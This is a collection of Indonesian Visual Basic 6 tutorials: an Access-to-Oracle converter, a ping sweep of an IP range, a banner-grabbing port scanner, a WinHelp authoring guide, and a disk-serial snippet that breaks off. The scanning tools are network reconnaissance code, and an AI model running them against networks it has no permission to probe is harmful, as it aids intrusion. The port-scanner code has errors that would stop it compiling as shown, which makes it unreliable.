CONVERT MSACCESS TO ORACLE

 Source code dibawah ini merupkan code untuk meng-
konverikan suatu database msAccess ke Oracle.
1. Buatlah 1 Project(name=Convert.vbp)
2. Tambahkan 1 Form(name=FrmAccessToOracle)
3. Tambahkan 1 SSTab(Tabs=3,TabsPerRow=3)
 a. Tab=0,caption=1.Asal Database
    Tambahkan Label1(caption=Nama MsAccse-
    ss Database),TextBox(name=TxMdbName),
    CommandButton(name=CmdBrowse,Caption=
    Browse),CheckBox(name=CheckPassword,cap-
    tion=Password),TextBox(name=TxPassword,
    PasswordChar=*),Label(name=LabelOpenMsA-
    ccess,Capt=open MsAccess database. . . .)
    CommandButton(name=CmdCancel1,Capt=Batal)
    CommandButton(name=CmdNext1,Capt=Beriku-
    tnya >),Commondialog.
 b. Tab=1,capt=2.Target Database
    Tambahkan Label(Capt=Database),TextBox(
    name=TxDatabaseOracle),label(Capt=User
    Name),TextBox(name=TxUserOracle),Label
    (Capt=Password),TextBox(name=TxPasswordOr-
    acle),CommandButton(name=CmdOpenConnection,
    Open connection)Label(name=LabelOpenOracle,
    Capt=Open connection Oracle Database.....)
    CommandButton(name=CmdCancel2,Capt=Batal)
    CommandButton(name=CmdBack2,capt=    nya)CommandButton(name=CmdNext2,capt=Beri-
    kutnya>)
 c. Tab=2,capt=3.Pilih Tabel
    Label(capt=Daftar Tabel)ListBox(name=ListA-
    vailableTable)CommandButton(name=CmdAdd,Ca-
    pt=Tambahkan>)CommandButton(name=CmdAddAll,
    Capt=Tambahkan semua>>)CommandButton(name=
    CmdRemove,capt=< Buang)commandButton(name=
    CmdRemoveAll,capt=<< Buang Semua)Label(Capt=
    Table Yang Dipilih)ListBox(name=ListSele-
    ctedTable)Label(name=LabelProsesTbl,capt=
    LabelProses Tabel)CommandButton(name=CmdC-
    ancel3,capt=Batal)CommandButton(name=CmdP-
    rev3,capt=< Kembali)CommandButton(name=Cm-
    dConvert,capt=Convert)

Copy coding dibawah ini dan paste di Editor Form:

Option Explicit
Dim CnAccess, CnOracle As ADODB.Connection
Dim cat As ADOX.Catalog

Private Sub CheckPassword_Click()
  If CheckPassword.Value = 0 Then
    TxPassword.Enabled = False
  Else
    TxPassword.Enabled = True
  End If
End Sub

Private Sub CmdAdd_Click()
Dim i As Byte
  i = 0
  Do
    If ListAvailableTable.Selected(i) Then
      ListSelectedTable.AddItem ListAvailableTable.List(i)
      ListAvailableTable.RemoveItem (i)
    End If
    i = i + 1
  Loop While i <= ListAvailableTable.ListCount - 1
  
End Sub

Private Sub CmdAddAll_Click()
Dim i As Byte
  i = 0
  Do
    ListSelectedTable.AddItem ListAvailableTable.List(i)
    i = i + 1
  Loop While i <= ListAvailableTable.ListCount - 1
  ListAvailableTable.Clear
End Sub

Private Sub CmdBack2_Click()
   SSTab1.Tab = 0
End Sub

Private Sub CmdBrowse_Click()
  CommonDialog1.CancelError = True
  CommonDialog1.Filter = "*.mdb"
  CommonDialog1.FileName = "*.mdb"
  On Error GoTo Batal
  CommonDialog1.ShowOpen
  TxMdbName.Text = CommonDialog1.FileName
Batal:
End Sub

Private Sub CmdCancel1_Click()
  Unload Me
End Sub

Private Sub CmdCancel2_Click()
  Unload Me
End Sub

Private Sub CmdCancel3_Click()
  Unload Me
End Sub

Private Sub CmdConvert_Click()
  ExportTablesADO
  LabelProsesTbl.Caption = ""
End Sub

Private Sub CmdNext1_Click()
Dim strCn As String
Dim NTbl, i As Byte
Dim X As ADOX.Table
   On Error GoTo BatalBuka
   LabelOpenMsAccess.Visible = True
   Me.Refresh
   strCn = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="
   strCn = strCn & TxMdbName.Text
   strCn = strCn & ";Persist Security Info=False"
   If CnAccess.State = 1 Then CnAccess.Close
   CnAccess.Open strCn
   cat.ActiveConnection = CnAccess
   
   ListSelectedTable.Clear
   ListAvailableTable.Clear
   NTbl = cat.Tables.Count ' - 1
   For Each X In cat.Tables
    ' If cat.Tables.Item(i).Type = "TABLE" Then
    '   ListAvailableTable.AddItem cat.Tables.Item(i).Name
    ' End If
     If X.Type = "TABLE" Then
       ListAvailableTable.AddItem X.Name
     End If
   Next
   SSTab1.Tab = 1
   LabelOpenMsAccess.Visible = False

   Exit Sub
BatalBuka:
   LabelOpenMsAccess.Visible = False
   MsgBox "Tidak bisa connect dengan MsAccess"
End Sub

Private Sub CmdNext2_Click()
Dim strCn As String
   LabelOpenOracle.Visible = True
   Me.Refresh
   strCn = "Provider=OraOLEDB.Oracle.1;Persist Security Info=False;" & _
           "User ID=" & TxUserOracle.Text & ";" & _
           "Password=" & TxPasswordOracle.Text & ";" & _
           "Data Source=" & TxDatabaseOracle.Text
           
   On Error GoTo BatalConnect
   If CnOracle.State = 1 Then CnOracle.Close
   CnOracle.Open strCn
   LabelOpenOracle.Visible = False
   SSTab1.Tab = 2
   Exit Sub
BatalConnect:
   LabelOpenOracle.Visible = False
   MsgBox "Tidak bisa connect dengan Oracle"
End Sub

Private Sub ExportTablesADO()
Dim aRs, oRs As ADODB.Recordset
Dim TblName, TblAName, TblOName As String
Dim NTbl, NFld, NIdx, NICol As Byte
Dim i, j, k As Integer

Dim StrTbl, StrFld As String
Dim StrIdx As String
Dim idxField As String

Dim Nkey As Byte
Dim StrKey As String
Dim keyName, keyType As String
Dim keyRelatedTable As String
Dim keyField As String
Dim keyRelatedField As String

   Set aRs = New ADODB.Recordset
   Set oRs = New ADODB.Recordset
   aRs.ActiveConnection = CnAccess
   aRs.CursorLocation = adUseClient
   aRs.CursorType = adOpenStatic
   aRs.LockType = adLockReadOnly
   
   
   On Error GoTo GagalExport
   NTbl = ListSelectedTable.ListCount - 1
   For i = 0 To NTbl
       'Create Table
       TblAName = "[" & ListSelectedTable.List(i) & "]"
       TblOName = CekSpasi(CStr(ListSelectedTable.List(i)))
       TblName = ListSelectedTable.List(i)
       StrTbl = "CREATE TABLE " & TblOName & vbCrLf & " ("
       
       aRs.Open "Select * From " & TblAName
       NFld = aRs.Fields.Count - 1
       LabelProsesTbl.Caption = TblName
       Me.Refresh
      
       For j = 0 To NFld
         LabelProsesTbl.Caption = TblName & "/" & "Create table"
         Me.Refresh
         StrFld = CekSpasi(CStr(aRs.Fields(j).Name)) & " "
          Select Case aRs.Fields(j).Type
            Case 202 'Text
               StrFld = StrFld & "VARCHAR2 " & "(" & aRs.Fields(j).DefinedSize & ")"
            Case 203 'Memo
              StrFld = StrFld & "CLOB"
            Case 3 'Long
              StrFld = StrFld & "NUMBER(11)"
            Case 17 'Byte
              StrFld = StrFld & "NUMBER(3)"
            Case 2 'Integer
              StrFld = StrFld & "NUMBER(5)"
            Case 4 'Single
              StrFld = StrFld & "REAL"
            Case 5 'Double
              StrFld = StrFld & "FLOAT"
            Case 72 'Replication ID
              StrFld = StrFld & "RAW(16)"
            Case 7 'Date
              StrFld = StrFld & "DATE"
            Case 131 'Decimal
              StrFld = StrFld & "NUMBER(18,0)"
            Case 6 'Currency
              StrFld = StrFld & "NUMBER(18,2)"
            Case 11 'YesNo
              StrFld = StrFld & "NUMBER(3)"
            Case 205 'OLE
              StrFld = StrFld & "BLOB"
            Case 20 'Hyperlink
              StrFld = StrFld & "CLOB"
            Case Else
              StrFld = StrFld & "VARCHAR2 " & "(" & aRs.Fields(j).DefinedSize & ")"
          End Select
          If j < NFld Then
            StrFld = StrFld & ","
          End If
          StrTbl = StrTbl & StrFld
          
       Next
       
       'Add Index
       StrIdx = ""
       If cat.Tables(TblName).Indexes.Count > 0 Then
         NIdx = cat.Tables(TblName).Indexes.Count - 1
         TblName = cat.Tables(TblName).Name
       
         For j = 0 To NIdx
           If cat.Tables(TblName).Indexes.Item(j).PrimaryKey Then
             LabelProsesTbl.Caption = TblName & "/" & "Add index"
             Me.Refresh
             StrIdx = "Primary Key ("
             NICol = cat.Tables(TblName).Indexes.Item(j).Columns.Count - 1
             For k = 0 To NICol
               idxField = CekSpasi(CStr(cat.Tables(TblName).Indexes.Item(j).Columns.Item(k).Name))
               StrIdx = StrIdx & idxField
               If k < NICol Then
                 StrIdx = StrIdx & ","
               Else
                 StrIdx = StrIdx & ")"
               End If
             Next
           End If
         Next
       End If
       If StrIdx <> "" Then
         StrTbl = StrTbl & ", " & vbCrLf & StrIdx
       End If
       
       StrTbl = StrTbl & ") "
              
       CnOracle.Execute StrTbl
       StrTbl = ""
       
       'Export data
       LabelProsesTbl.Caption = TblName & "/" & "export data"
       Me.Refresh
       oRs.CursorLocation = adUseServer
       oRs.LockType = adLockOptimistic
       oRs.CursorType = adOpenDynamic
       oRs.Open "Select * From " & TblOName, CnOracle
       j = aRs.Fields.Count - 1
       While Not aRs.EOF
         oRs.AddNew
         For k = 0 To j
           oRs.Fields(k).Value = aRs.Fields(k).Value
         Next
         oRs.Update
         aRs.MoveNext
       Wend
       oRs.Close
       aRs.Close
   Next i
     
   'Add Check constraint
   For i = 0 To NTbl
       TblName = ListSelectedTable.List(i)
       TblOName = CekSpasi(CStr(TblName))
       NFld = cat.Tables(ListSelectedTable.List(i)).Columns.Count - 1
       
       k = 0
       For j = 0 To NFld
         If cat.Tables(TblName).Columns(j).Properties.Item(8).Value <> "" Then
           LabelProsesTbl.Caption = TblName & "/" & "Add CHECK constraint "
           Me.Refresh
           k = k + 1
           StrTbl = "ALTER TABLE " & TblOName & " ADD CONSTRAINT "
           StrTbl = StrTbl & TblOName & Format(k, "00") & vbCrLf & "CHECK ("
           StrTbl = StrTbl & cat.Tables(TblName).Columns(j).Name & " "
           StrTbl = StrTbl & cat.Tables(TblName).Columns(j).Properties.Item(8).Value
           StrTbl = StrTbl & ") ENABLE Validate"
           CnOracle.Execute StrTbl
         End If
       Next
       
    Next i
    
   'Add Foreign key
   For i = 0 To NTbl
       TblAName = "[" & ListSelectedTable.List(i) & "]"
       TblOName = CekSpasi(CStr(ListSelectedTable.List(i)))
       TblName = ListSelectedTable.List(i)
       
       If cat.Tables(TblName).Keys.Count > 0 Then
         Nkey = cat.Tables(TblName).Keys.Count - 1
         LabelProsesTbl.Caption = TblName & "/" & "Add Foreign key constraint"
         Me.Refresh
         'TblOName = CekSpasi(CStr(cat.Tables(TblName).Name))
         For j = 0 To Nkey
           StrKey = ""
           If cat.Tables(TblName).Keys.Item(j).Type = 2 Then
             keyName = CekSpasi(CStr(cat.Tables(TblName).Keys.Item(j).Name))
             keyRelatedTable = CekSpasi(CStr(cat.Tables(TblName).Keys.Item(j).RelatedTable))
             StrKey = "ALTER TABLE " & TblOName & " ADD (FOREIGN KEY ("
             NICol = cat.Tables(TblName).Keys.Item(j).Columns.Count - 1
             For k = 0 To NICol
               idxField = CekSpasi(CStr(cat.Tables(TblName).Keys.Item(j).Columns.Item(k).Name))
               StrKey = StrKey & idxField
               If k < NICol Then
                 StrKey = StrKey & ","
               Else
                 StrKey = StrKey & ")"
               End If
             Next
             StrKey = StrKey & " References " & keyRelatedTable & " ("
             For k = 0 To NICol
               keyRelatedField = CekSpasi(CStr(cat.Tables(TblName).Keys.Item(j).Columns.Item(k).RelatedColumn))
               StrKey = StrKey & keyRelatedField
               If k < NICol Then
                 StrKey = StrKey & ","
               Else
                 StrKey = StrKey & ")"
               End If
             Next
             StrKey = StrKey & ")"
             
             CnOracle.Execute StrKey

           End If
         Next
       End If
   Next i
   LabelProsesTbl.Caption = "Selesai"
   Me.Refresh
   MsgBox "Export ke oracle Selesai"

   Exit Sub
GagalExport:
  MsgBox "Export ke oracle gagal " & vbCrLf & _
         Err.Description
  
End Sub


Private Sub CmdPrev3_Click()
   SSTab1.Tab = 1
End Sub

Private Sub CmdRemove_Click()
Dim i As Byte
  i = 0
  Do
    If ListSelectedTable.Selected(i) Then
      ListAvailableTable.AddItem ListSelectedTable.List(i)
      ListSelectedTable.RemoveItem (i)
    End If
    i = i + 1
  Loop While i <= ListSelectedTable.ListCount - 1
  
End Sub

Private Sub CmdRemoveAll_Click()
Dim i As Byte
  i = 0
  Do
    ListAvailableTable.AddItem ListSelectedTable.List(i)
    i = i + 1
  Loop While i <= ListSelectedTable.ListCount - 1
  ListSelectedTable.Clear
End Sub


Private Sub Form_Load()
Dim i, NTbl As Integer
   Set CnAccess = New ADODB.Connection
   Set CnOracle = New ADODB.Connection
   Set cat = New ADOX.Catalog
   TxMdbName.Text = ""
   CheckPassword.Value = 0
   TxPassword.Enabled = False
   SSTab1.Tab = 0
   TxDatabaseOracle.Text = ""
   TxUserOracle.Text = ""
   TxPasswordOracle.Text = ""
   LabelOpenMsAccess.Visible = False
   LabelOpenOracle.Visible = False
   LabelProsesTbl.Caption = ""
End Sub

Private Function CekSpasi(X As String) As String
   CekSpasi = Replace(RTrim(X), " ", "_")
End Function

MENGECEK IP AKTIF

 Source code dibawah ini merupakan
suatu program untuk mengecek suatu Host Yang
aktif yaitu untuk mengetahui komputer mana
saja yang sedang aktif.
1. Bukalah 1 Project(name=ActiveIP.vbp)
2. Tambah 1 Form(name=frmCekIP)tambahkan:
   a. 1 ListBox
   b. 2 TextBox
   c. 1 CommandButton(name=CekIP)

Copy coding dibawah ini dan paste di Editor Form:

Option Explicit
Const SOCKET_ERROR = 0
Private Declare Function GetHostByName Lib "wsock32.dll" _
    Alias "gethostbyname" (ByVal HostName As String) As Long
Private Declare Function WSAStartup Lib "wsock32.dll" _
    (ByVal wVersionRequired&, ipWSAdata As WSAdata) As Long
Private Declare Function WSACleanup Lib "wsock32.dll" () As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _
    (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)
Private Declare Function IcmpCreateFile Lib "icmp.dll" () As Long
Private Declare Function IcmpCloseHandle Lib "icmp.dll" _
    (ByVal HANDLE As Long) As Boolean
Private Declare Function IcmpSendEcho Lib "ICMP" (ByVal IcmpHandle As Long, _
    ByVal DestAddress As Long, ByVal RequestData As String, _
    ByVal RequestSize As Integer, RequestOptns As IP_OPTION_INFORMATION, _
    ReplyBuffer As IP_ECHO_REPLY, ByVal ReplySize As Long, ByVal TimeOut As Long) As Boolean

Private Type WSAdata
    wVersion As Integer
    wHighVersion As Integer
    szDescription(0 To 255) As Byte
    szSystemStatus(0 To 128) As Byte
    iMaxsockets As Integer
    iMaxUdpDg As Integer
    ipVendorInfo As Long
End Type

Private Type Hostent
    h_name As Long
    h_aliases As Long
    h_addrtype As Integer
    h_length As Integer
    h_addr_list As Long
End Type

Private Type IP_OPTION_INFORMATION
    TTL As Byte
    Tos As Byte
    Flags As Byte
    OptionsSize As Long
    OptionsData As String * 128
End Type

Private Type IP_ECHO_REPLY
    Address(0 To 3) As Byte
    Status As Long
    RoundTripTime As Long
    DataSize As Integer
    Reserved As Integer
    data As Long
    Options As IP_OPTION_INFORMATION
End Type
Public dir As String


Public Function doPing(ByVal HostName As String) As Boolean
    Dim hFile As Long, ipWSAdata As WSAdata
    Dim hHostent As Hostent, Addrlist As Long
    Dim Address As Long, rIP As String
    Dim OptInfo As IP_OPTION_INFORMATION
    Dim EchoReply As IP_ECHO_REPLY
    Call WSAStartup(&H101, ipWSAdata)
    If GetHostByName(HostName + String(64 - Len(HostName), 0)) <> SOCKET_ERROR Then
        CopyMemory hHostent.h_name, ByVal GetHostByName(HostName + String(64 - Len(HostName), 0)), Len(hHostent)
        CopyMemory Addrlist, ByVal hHostent.h_addr_list, 4
        CopyMemory Address, ByVal Addrlist, 4
    End If
    hFile = IcmpCreateFile()
    If hFile = 0 Then
        MsgBox "Unable to create File Handle", vbCritical + vbOKOnly
        doPing = False
        Exit Function
    End If
    OptInfo.TTL = 225
    If IcmpSendEcho(hFile, Address, String(32, "A"), 32, OptInfo, EchoReply, Len(EchoReply) + 8, 2000) Then
        rIP = CStr(EchoReply.Address(0)) + "." + CStr(EchoReply.Address(1)) + "." + _
            CStr(EchoReply.Address(2)) + "." + CStr(EchoReply.Address(3))
    Else
        doPing = False
    End If
    If EchoReply.Status = 0 Then
        doPing = True
    Else
        doPing = False
    End If
    Call IcmpCloseHandle(hFile)
    Call WSACleanup
End Function

Private Sub Command1_click()
    Dim i As Integer
    Dim x, y
    Dim result As Boolean
    Dim resultString As String
    If Trim(Text1) = "" Then
        MsgBox "Isikan alamat IP", vbCritical + vbOKOnly
        Exit Sub
    End If
    List1.Clear
    x = Split(Text1.Text, ".")
    y = Split(Text2.Text, ".")
    For i = CInt(x(3)) To CInt(y(3))
        dir = x(0) & "." & x(1) & "." & x(2) & "." & i
        result = doPing(dir)
    If result = True Then
        resultString = "Aktif"
    Else
        resultString = "Non-aktif"
    End If
    List1.AddItem "Pinging" & dir & "..." & resultString
    List1.Refresh
    Next
End Sub

CEK PORT TERBUKA

 Source code berikut merupakan program
untuk mencari Port yang terbuka.
1. Bukalah 1 Project(name:Port_Scanner.vbp)
2. Tambahkan 1 Form(name:frmPortScanner)
   Tambahkan:
   a. 5 TextBox dengan:
      Textbox1(name=TxtIP)
      Textbox2(name=TxtFrom)
      Textbox3(name=TxtTo)
      Textbox4(name=TxtTime)
      Textbox5(name=TxtData)
   b. 2 Timer dengan
      Timer1(name=TmrConnected,enable=false)
      Timer2(name=TimeOut,enable=false)
   c. 1 commandButton(name=scan)
   d. Winsock(name=sckScan)untuk menambahkan
      kontrol winsock dari menu Project-Components
      -beri tanda cek pada Microsoft Wincock
      control 6.0
   e. 1 Label(name=Lblscan)
   f. 1 ListBox(name=LstResult)

Copy coding dibawah ini dan paste di Editor Form:

 
Option Explicit
Dim Port As Single
Dim Scanning As Boolean
Dim RemoteOS As String
Dim PortType As Integer

Private Sub CmdScan_Click()
    If Scanning = False Then
        PortType = 0
        LstResult.Clear
        LstResult.AddItem "  Port:                     service:"
        LstResult.AddItem "=============================================="
        TxtFrom.Enabled = False
        TxtIP.Enabled = False
        TxtTime.Enabled = False
        TxtTo.Enabled = False
        TxtData.Enabled = False
        CmdScan.Caption = "&Cancel"
        Scanning = True
        Port = TxtFrom.Text + 1
        BeginScan
    Else
        TxtFrom.Enabled = True
        TxtIP.Enabled = True
        TxtTime.Enabled = True
        TxtTo.Enabled = True
        TxtData.Enabled = True
        CmdScan.Caption = "&Scan Again"
        Scanning = False
        TimeOut.Enabled = False
        TmrConnected.Enabled = False
        sckScan.Close
        Port = TxtTo.Text
        LblScan.Caption = ""
    End If
End Sub

Private Sub sckScan_Connect()
    TimeOut.Enabled = False
    sckScan.SendData "GET abcdef.htm" & vbCrLf & "USER abcdef" & vbCrLf & "FINGER abcdef" & vbCrLf
    TmrConnected.Interval = TxtData.Text
    TmrConnected.Enabled = True
End Sub

Private Sub sckScan_DataArrival(ByVal bytesTotal As Long)
    Dim Data As String
    sckScan.GetData Data, vbString
    If InStr(1, Data, vbLf) <> 0 Then
        RecognizePort Data
        sckScan.Close
        Port = Port + 1
        BeginScan
    End If
End Sub

Private Sub TimeOut_Timer()
    TimeOut.Enabled = False
    Port = Port + 1
    BeginScan
End Sub

Private Sub TmrConnected_Timer()
    LstResult.AddItem Format(sckScan.RemotePort, "  #00000 --------->>") & "  >Gue ga' tau...."
    TmrConnected.Enabled = False
    Port = Port + 1
    BeginScan
End Sub

Private Sub BeginScan()
    If Port <= TxtTo Then
        sckScan.Close
        sckScan.RemoteHost = TxtIP.Text
        sckScan.RemotePort = Port
        LblScan.Caption = "  Port: " & Port & "  @  " & sckScan.RemoteHost
        sckScan.Connect
        TimeOut.Interval = TxtTime.Text
        TimeOut.Enabled = True
        On Error Resume Next
    Else
        Call CmdScan_Click
    End If
End Sub

Private Sub RecognizePort()
    Dim MyType As String
    If InStr(1, Data, "FTP") > 0 Then
        MyType = "FTP Server"
        If InStr(1, Data, "Serv-U") > 0 Then
            MyType = MyType & "(Serv-U)"
        End If
    ElseIf InStr(1, UCase(Data), "HTTP") > 0 Or _
            InStr(1, UCase(Data), "HTML") > 0 Then
        MyType = "HTTP Server"
        If InStr(1, Data, "Microsoft") > 0 Then
            MyType = MyType & "(Microsoft)"
    ElseIf InStr(1, Data, "Apache") > 0 Then
            MyType = MyType & "(Apache)"
        End If
    ElseIf InStr(1, UCase(Data), "MAIL") > 0 Then
        MyType = "MAIL Server"
        If InStr(1, Data, "Microsoft") > 0 Then
            MyType = MyType & "(Microsoft)"
        End If
    ElseIf InStr(1, UCase(Data), "IMAP") > 0 Then
        MyType = "IMAP Server"
        If InStr(1, Data, "Microsoft") > 0 Then
            MyType = MyType & "(Microsoft)"
    ElseIf InStr(1, UCase(Data), "NNTP") > 0 Then
        MyType = "NNTP Server"
        If InStr(1, Data, "Microsoft") > 0 Then
            MyType = MyType & "(Microsoft)"
        End If
    ElseIf InStr(1, UCase(Data), "NOTICE AUTH") > 0 Then
        MyType = "IRC Server"
    ElseIf InStr(1, Data, "ERROR: Your host is trying too (re)connect too fast") > 0 Then
        MyType = "IRC Server"
    ElseIf Mid(Data, 1, Len("GET abscdef.htm")) = "GET abcdef.htm" Then
        MyType = "PING Server"
    Else
        MyType = "Ora Ngerti...."
    End If
    LstResult.AddItem Format(sckScan.RemotePort, "  #00000 --------->>") & "  >" & MyType
End Sub

TIPS MEMBUAT FILE HELP

 Sekarang saya akan memberi tips untuk
membuat File Help..>> File help adalah file
yang berisi informasi dan atau tata cara
menggunakan suatu program aplikasi yang
dibuat oleh seorang programer. Sehingga
apabila si pengguna aplikasi tersebut mengalami
kesalahan atau kesulitan dalam menggunakannya,
tinggal membuka file helpnya saja.
 Seorang programer profesional, biasanya
melengkapi program aplikasi yang di buatnya
dengan fasilitas help ini. Sehingga pengguna
aplikasi tersebut bisa menggunakan aplikasi
yang dibuat sesuai dengan yang diharapkan.
 Sebuah sistem help yang baik membuat
pengguna dapat menemukan informasi yang mereka
butuhkan pada saat mereka membutuhkannya
dengan cara yang mudah. Informasi tersebut
harus jelas, ringkas dan memberikan pelajaran
sehubungan dengan topik yang di butuhkan.
Mungkin kita sudah sering menggunakan file help
ini, tapi belum tahu bagaimana cara membuatnya.
 Oleh karena itu, mari kita pelajari
sekarang secara step by step :

Aplikasi yang di butuhkan adalah:
1. Aplikasi pengolah kata, yang mendukung footnote dan spesial mark Up, dalam hal ini kita
   dapat menggunakan aplikasi Microsoft Word bawaan windows dan pastikan fitur double
   underlinenya aktif.
2. File Help workshop (hcw.exe) yang berfungsi sebagai kompiler dari file *.hlp yang akan
   dibuat. File ini biasanya telah ada sewaktu dengan anda menginstall aplikasi visual (Spt. Visual
   Basic, Delphi, dll). Silahkan cari file ini dgn cara : Start->Find->Files anda Folders, dan
   ketikkan kata kunci hcw.exe.

Prinsip Kerja:
 File help di buat menggunakan MS-Word kemudian di simpan dalam bentuk file rich text format
  (*.rtf). File *.rtf ini di kompile dengan aplikasi Help Workshop (hcw.exe). Jika tidak ada error,
  maka file help anda akan terbentuk. Untuk menghubungkan antar link, kita membutuhkan format
  font double underline. Untuk mengaktifkan fasilitas ini, dari MS-Word, pilih menu View-
  >Toolbars->customize->pada tab commands, di kolom categories pilih format, dan pada kolom
  format cari shorcut untuk Double Underline. Kemudian click and geser shorcut tersebut dan letakan
  disamping menu help atau di lokasi yang lain. Kita juga membutuhkan format font single underline
  untuk informasi dari satu kata yang di klik.
 Disamping itu, dalam membuat file kita menggunakan fitur spesial footnote markup language
  dalam bentuk rich text format (rtf). File rtf ini di susun dalam tiga kategori : jump text, topik text
  dan footnote tags.
 Inti dari struktur file help adalah topik, yaitu bagian rtf yang dibatas oleh page break. Baris pertama
  dari bagian ini di beri footnote dengan menggunakan karakter spesial # dan k pada bagian awal
  setiap topik. Karakter # digunakan untuk subjek sedangkan karakter k di gunakan untuk indeks kata
  kunci yang akan di tunjukkan ketika anda melihat halaman indeks di kotak dialog help topic.
 Bagian-bagian dari topik harus di set fontnya dalam bentuk double underline, dan disamping topik
  kita sisipkan nama footnotenya sebagai penghubung atau batu loncatan ke alamat yang dituju,
  kemudian nama footnote tadi harus dalam kondisi hidden dan tidak boleh ada spasi antara topik
  dengan footnotenya serta pengetikan nama footnotenya harus persis sama sewaktu membuat
  footnote tersebut.. Agar footnotenya hidden, maka, bloklah text tersebut, kemudian klik menu
  format->font dan tandai opsi hidden.

Praktek Pembuatan Help
Untuk lebih memahami apa yang telah di jelaskan diatas, mari kita praktekkan ;
1. Bukalah aplikasi MS-WORD anda.
2. Ketiklah kalimat berikut;
   Menghapus Record

Untuk menghapus sebuah record, lakukanlah langkah-langkah berikut;
1. Letakkan kursor anda di record yang akan di hapus
2. Klik tombol hapus, maka kota dialog haspu akan muncul
3. Pilih ya, jika anda inginmenghapus record tersebut.
3. Klik menu insert dan pilik break, page breaks dan klik OK, untuk berpindah ke halaman baru,
   dan ketik :
   Menambah Record

Untuk menambah sebuah record, lakukanlah langkah-langkah berikut ;
1. Klik tombol tambah
2. Isikan data untuk setiap field
3. Klik tombol simpan
   ---
   Silahkan lakukan langkah ketiga ini untuk membuat help berikutnya, misalnya help untuk
   menyisip record, mencari data, menyaring data dan lain-lain.
4. Selanjutnya untuk membuat informasi tentang record, Klik menu insert dan pilik break, page
   breaks dan klik OK, untuk berpindah ke halaman baru, dan ketik :
   Record adalah kumpulan dari elemen-elemen yang saling berkaitan dan menginformasikan
   suatu entity secara lengkap. Satu record mewakili satu data atau informasi tentang seseorang,
   misalnya, no. BP, nama, alamat, tanggal lahir, dan lain-lain.
5. Kembali ke halaman pertama, kemudian letakkan kursor anda sebelum kata menghapus record,
   kemudian dari menu insert, pilih footnote. Pada kota dialog footnote yang muncul, pilih
   custome mark lalu ketikkan #. Klik OK untuk menutup kotak dialog ini.
6. Symbol # akan muncul di bagian bawah dari halaman menghapus record, ketik ‘hapus’, sebagai
   Identitas untuk topik tersebut.
7. Langkah yang sama juga kita lakukan pada Topik Menambah Record, letakkan kursor sebelum
   kata Menambah record, lakukan kembali langkah 5 & 6 diatas dan beri Identitas ‘tambah’
8. Begitu juga halnya untuk informasi record, lakukan kembali langkah 5 & 6 diatas dan beri
   Identitas ‘rec’
   Sampai tahap ini kita sudah berhasil membuat help beserta linknya, berikutnya kita akan membuat
   daftar isi/judul masing-masing topik, langkah2nya;
9. Kembali ke halaman pertama, letakkan kursor anda sebelum tulisan Menghapus Record, lalu
   klik menu insert, break, page breaks, OK. Maka halaman menghapus record tadi pindah ke
   halaman dua, dan sekarang kita berada di halaman pertama. Lalu ketikkan, judul masing-masing
   topik yang telah kita buat sebelumnya. Yaitu ;
   Menghapushapus Recordrec
   Menambahtambah Recordrec
 Nb. Kata tambah dan hapus adalah identitas dan link Menghapus dan menambah record yang
     telah kita buat tadi. Sedangkan kata rec adalah informasi untuk record. Sehingga apabila user
    meng-klik kata Record pada topik diatas, maka akan muncul kotak informasi tentang apa itu
    record yang telah di buat tadi, tapi tidak melompat pada halaman tertentu.
10. Selanjutnya bloklah kata ‘hapus’ (setelah kata Menghapus). Lalu dari menu Format pilih font.
    Pada kota dialog yang muncul pilih Hidden dan klik OK. Maka tulisan ‘hapus’ akan hilang dan
    tampak sekarang adalah tulisan Menghapus Record. Selanjutnya kita blok kata “Menghapus”
    dan berikan format font double underline, dengan cara meng-klik shorcut double underline
    yang telah di buat tadi.
11. Lakukan hal yang sama untuk topik Menambah Record.
12. Kemudian blok kata ‘rec’ (setelah kata Record), lalu beri opsi hidden seperti pada kata hapus
    dan tambah pada langkah ke-10 di atas. Lalu bloklah kata Record dan berikan format font
    single underline (ingat : single underline, bukan double underline seperti pada langkah ke-10).
13. Simpanlah file help ini dengan format rtf. Klik menu file pilih save, pada kotak dialog yng
    muncul, ketikkan nama file pada kota file names dan pilih Rich Text Format pada kota save As
    type, lalu klik Save. Misalnya kita beri nama file ini dengan nama help.rtf
    Pada tahap ini, kita telah berhasil membuat file help, selanjutnya kita masuk ke tahap kompilasi
    menggunakan file hcw.exe (Help workshop)., langkah2nya:
14. Bukalah program help workshop dengan cara men-double klik file hcw.exe.
15. Dari menu file, klik new, pada kota dialog yang muncul pilih Help Project dan klik OK.
16. Kemudian beri nama file help anda, misal help dan simpan di lokasi yang sama dengan file
    help.rtf.
17. Klik tombol files, pada kota dialog yg muncul klik Add, lalu pilih file help.rtf dan klik OK.
    (lakukan langkah yg sama jika masih ada file rtf lain yg akan di masukin ke aplikasi help anda).
18. Klik Button Save and Compile. Jika tidak ada kesalahan, maka anda berhak mendapatkan
    ucapan “Selamat Anda telah berhasil membuat File Help”. Secara otomatis di akan terbentuk
    file help.hlp di folder yang anda tentukan tadi.
    Untuk menjalankan file help ini, anda tinggal men-double klik saja file help.hlp, biasanya berbentuk
    icon buku.

 Selanjutnya anda tinggal meng-integrasikannya ke dalam aplikasi visual yang telah anda buat.
Silahkan anda kembangkan dan berkreasi dengan file help ini, karena apa yang kami sampaikan ini
masih sederhana dan kesempurnaanya ada di tangan anda semua.

Getting the unchangeable Hard Disk Serial Number.

'Add a listbox  - name=list1
'Add a commanbutton - name=command1

Copy coding dibawah ini dan paste di Editor Form:

 
Option Explicit
 
Private Const GENERIC_READ = &H80000000
Private Const GENERIC_WRITE = &H40000000
Private Const FILE_SHARE_READ = &H1
Private Const FILE_SHARE_WRITE = &H2
Private Const OPEN_EXISTING = 3
Private Const CREATE_NEW = 1
Private Const INVALID_HANDLE_VALUE = -1
Private Const VER_PLATFORM_WIN32_NT = 2
Private Const IDENTIFY_BUFFER_SIZE = 512
Private Const OUTPUT_DATA_SIZE = IDENTIFY_BUFFER_SIZE + 16
 
'GETVERSIONOUTPARAMS contains the data returned
'from the Get Driver Version function
Private Type GETVERSIONOUTPARAMS
   bVersion       As Byte 'Binary driver version.
   bRevision      As Byte 'Binary driver revision
   bReserved      As Byte 'Not used
   bIDEDeviceMap  As Byte 'Bit map of IDE devices
   fCapabilities  As Long 'Bit mask of driver capabilities
   dwReserved(3)  As Long 'For future use
End Type
 
'IDE registers
Private Type IDEREGS
